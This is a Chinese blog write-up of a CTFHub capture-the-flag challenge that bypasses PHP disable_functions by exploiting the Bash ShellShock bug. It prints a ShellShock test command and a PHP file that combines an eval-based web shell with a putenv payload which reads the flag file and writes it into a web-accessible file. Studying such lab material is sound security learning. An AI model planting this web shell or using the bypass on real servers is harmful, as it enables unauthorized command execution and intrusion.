CTFHub ShellShock解题记录

最新推荐文章于 2024-04-26 13:53:30 发布

wind lin

最新推荐文章于 2024-04-26 13:53:30 发布

阅读量1.7k

点赞数 2

分类专栏： WriteUp 文章标签： php shell linux 信息安全

本文链接：https://blog.csdn.net/weixin_44732566/article/details/105358606

版权

WriteUp 专栏收录该内容

17 篇文章 1 订阅

订阅专栏

CTFHub Bypass disable_function ShellShock

ShellShock,破壳漏洞，出现于2014年
可以通过以下命令来判断是否存在这个漏洞

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果结果中有 vulnerable说明存在这个漏洞，执行了echo vulnerable这个语句。
大致原理：
bash shell中定义环境变量通过函数名称来调用时，正常情况下是这样
在这里插入图片描述
但是对于存在shellshock漏洞的环境下，Bash对于环境变量只是检测到函数，并且从’{‘开始执行，但是并没有在’}'后停止，也就是说定义在函数体外shell命令也会执行，所以env x='() { :;}; echo vulnerable' 输出了vulnerable。

题目打开，通过蚁剑连接在这里插入图片描述查看phpinfo() 和上题一样还是没有禁用error_log函数。正常情况下蚁剑已经实现通过ShellShock漏洞，直接拿到shell，但是这题不行。得手工，上传shell.php和test.php,用来存放命令执行结果
可能是因为test.php文件为空上传报错，但是还是传上去了，刷新一下，
在这里插入图片描述

<?php
  @eval($_REQUEST['ant']);
  putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
  error_log("admin",1);
  //mail("admin@localhost","","","","");
?>

发现在/目录有flag文件，和之前LD_PRELOAD题目一样，这次直接通过tac来读取文件。
通过putenv来设置环境变量，默认putenv定义的环境变量名必须以PHP_开头。
error_log()函数会在执行sh -c -t -i触发payload
在这里插入图片描述
在浏览器访问shell.php，再打开tes,php，拿到flag搞定